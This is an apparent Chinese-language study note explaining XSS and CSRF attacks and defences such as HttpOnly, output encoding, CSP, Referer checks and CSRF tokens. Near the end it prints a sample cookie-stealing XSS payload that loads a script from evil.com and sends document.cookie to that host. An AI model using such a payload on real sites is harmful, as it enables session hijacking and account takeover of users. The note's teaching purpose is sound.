XSS
跨站脚本攻击(cross site script),本来缩写CSS单位了和层叠样式(Cascading Style Sheet,CSS)有所区别,所以在安全领域叫做“XSS”。
XSS攻击,通常上指黑客通过“HTML注入”篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。一开始这种攻击是跨域的,但是由于今天JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。
XSS通过代码注入,获取目标网站的的Cookie,从而发起“Cookie劫持”攻击。有了cookie就想到与有了session,攻击者可以不通过密码以其他人的身份直接登录,进用户的账号。
XSS防御
(1)httpOnly
HttpOnly并非为了对抗XSS,而是解决XSS后的cookie劫持攻击。
(2)输入检查
输入检查一般是值检查用户输入数据是否包含一些特殊字符,如果发现这些字符过滤或编码。
设置白名单,比如:注册用户名只能为字母、数字组合,电话、邮箱、生日等信息有一定的格式规范。让一些基于特殊字符的攻击失效。
XSS Filter在用户提交数据时获取变量,并进行XSS检查,但此时用户数并没有结合渲染页面的HTML代码,因此XSS Filter对语境的理解并不完整。
(3)输出检查
除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式防御XSS攻击。对动态输出到页面的内容进行htmlEncode编码或JavaScriptEncode编码,使脚本无法在浏览器中执行。htmlEncode和JavaScriptEncode编码方式不同,它需要使用“”对特殊字符进行转义,在对方XSS是,还要求输出的变量必须在引号内部,因为攻击者很难逃出引号的范围,这样就避免造成安全问题。
(4)处理富文本
对富文本内容进行过滤
(5)防御DOM Based XSS
在href或src地址变量$var 输出到<script>时,应该执行一次JavaScriptEncode;其次,在Document.write输出到HTML页面时具体情况具体分析:如果是输出到事件或者脚本,则要在再做一次JavaScriptEncode;如果是输出HTML内容或属性,则需要做一次HTMLEncode。
其它的通用的补充性防御手段
在输出html时,加上Content Security Policy的Http Header
(作用:可以防止页面被XSS攻击时,嵌入第三方的脚本文件等)
(缺陷:IE或低版本的浏览器可能不支持)
在开发API时,检验请求的Referer参数
(作用:可以在一定程度上防止CSRF攻击)
(缺陷:IE或低版本的浏览器中,Referer参数可以被伪造)
CSRF
跨站点请求伪造(cross site request forgery),CSRF伪造用户,以用户的名义进行操作。CSRF成功的前提用户必须登录到目标站点,且用户浏览了攻击者控制的站点。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
2008年百度 CSRF worm 获取百度发送短信和查询好友的地址,用户查看恶意页面后将给他所有好友方一条短消息,该消息包含一张图片,地址指向CSRF页面,使这些好友再次发送消息给其他好友。
CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
CSRF攻击攻击原理及过程如下:
1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
防御CSRF攻击:
(1) 验证 HTTP Referer 字段
在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。如果是以原始真实的域名开头,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求
(2)在请求地址中添加 token 并验证;
在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
(3)在 HTTP 头中自定义属性并验证
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 HTTP 头属性。缺点是:(A) XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。(B)要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的
XSS与CSRF区别
它们的维度空间是不一样的,XSS偏向于方法论(拥有一个跨站请求的JS脚本,用户访问以后就会下载或在当前页面注入该脚本,中了XSS攻击),CSRF偏向于一种形式(或者说是结果),只是伪造用户发起请求,都可以成为CSRF攻击。
攻击者事先加载一个远程脚本
<script src=http://www.evil.com/evil.js> </script>
正在的XSS Payload写在远程脚本中,避免直接在URL参数里写入大量JavaScript代码。
evil.js中通过以下方式窃取cookie
var img = document.createElement(“img”);
img.src = “http://www.evil.com/log?”+ escape(document.cookie); document.body.appendChild(img);
这样就完成了窃取cookie的XSS Payload。但它只是XSS,并没有发生CSRF,把用户信息存储下来,没有“伪造”用户发出请求。如果“伪造”用户,执行一些删除、添加操作,则就是CSRF。
比如经过多次抓包获取删除链接为 http://www.blog.com/detail/process.do?id=*****,只要在攻击者页面中包含该链接就可以进行删除操作。